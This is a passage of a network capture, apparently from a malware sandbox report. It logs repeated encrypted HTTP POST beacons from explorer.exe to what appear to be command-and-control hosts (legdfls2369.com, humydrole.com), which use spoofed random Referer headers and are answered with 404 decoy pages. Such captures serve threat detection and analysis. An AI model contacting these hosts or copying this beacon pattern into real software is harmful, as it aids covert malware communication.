20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49748	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:29.180211067 CET	335	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://edaiojvseyrk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: legdfls2369.com
Dec 2, 2023 18:02:29.180252075 CET	393	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 83 02 1f d3 26 f2 fe 75 a6 13 1b 2e Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u._Xda&Ju>[]A;4<vO<P+P1;RlFZI7l9d5Fs6`D/ZbmxOZPY%[E<Cre#!ehK"!eEGk)Gk
Dec 2, 2023 18:02:29.423111916 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49749	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:29.278187990 CET	340	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cpwhvdwmqntdgiu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 224 Host: humydrole.com
Dec 2, 2023 18:02:29.278187990 CET	278	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 3e 41 a1 bf Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA .[k,vu>Ai*YRoOpH`$b) x)5;5=W80Go1"#)$i5~K;&rk"J!?2Cwl
Dec 2, 2023 18:02:29.817022085 CET	307	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 85 e9 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49750	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:33.198348045 CET	336	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xvvxoswmyvl.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 209 Host: humydrole.com
Dec 2, 2023 18:02:33.198381901 CET	263	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 27 30 ac e5 Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu'0:CCvYi!dpduhpl*SdvP Lq,9;x.BF_-][oX71S
Dec 2, 2023 18:02:33.716751099 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49753	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:33.947932005 CET	338	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wxcagobruguaj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 322 Host: humydrole.com
Dec 2, 2023 18:02:33.947971106 CET	376	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 44 03 e5 88 Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vuDo"@~QuS]5[&XBF,7j_YWFt4*<\|P8M u:q%B%<V:Nk^8@s"%-
Dec 2, 2023 18:02:34.596077919 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49754	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:34.875690937 CET	338	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gomudukkstasi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 162 Host: humydrole.com
Dec 2, 2023 18:02:34.875736952 CET	216	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 79 35 da a1 Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vuy5x-cIm{6UN1qb?gb:_]Y[y\|MYSDj`Q*
Dec 2, 2023 18:02:35.374883890 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49755	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:35.608905077 CET	341	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wrpxtbvctsvpvpmv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 364 Host: humydrole.com
Dec 2, 2023 18:02:35.608905077 CET	418	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 35 34 bd bd Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu54o{h3YWz-xq#?F0R\|%"QObC*A-zvgNZKVA5A&RUQV-vO'@C~}(
Dec 2, 2023 18:02:36.108592033 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49756	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:36.342168093 CET	339	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rgsaarfikhqtwr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 331 Host: humydrole.com
Dec 2, 2023 18:02:36.342207909 CET	385	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 5e 4e ef ae Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu^NY}s\XQ2/Vdqb51p!9*J~EFjf^,Ru)3nam:3P4rmIEpjdH
Dec 2, 2023 18:02:36.856507063 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49757	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:37.095782995 CET	338	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://njgimhhfktiuk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 337 Host: humydrole.com
Dec 2, 2023 18:02:37.095807076 CET	391	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 23 3c e8 9d Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu#<E3nRB[e'gFaZq{bB&_GQ^F5,P=xa{K,<uQD)8\|yBLMz~oUt$
Dec 2, 2023 18:02:37.718179941 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49758	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:37.798768997 CET	338	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hyeqdyequlfil.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 174 Host: humydrole.com
Dec 2, 2023 18:02:37.798768997 CET	228	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 24 0a e3 ba Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu$}<r\FcYp`xmnR"cQF9\|h#*zu]<4rt[%z
Dec 2, 2023 18:02:38.298449039 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 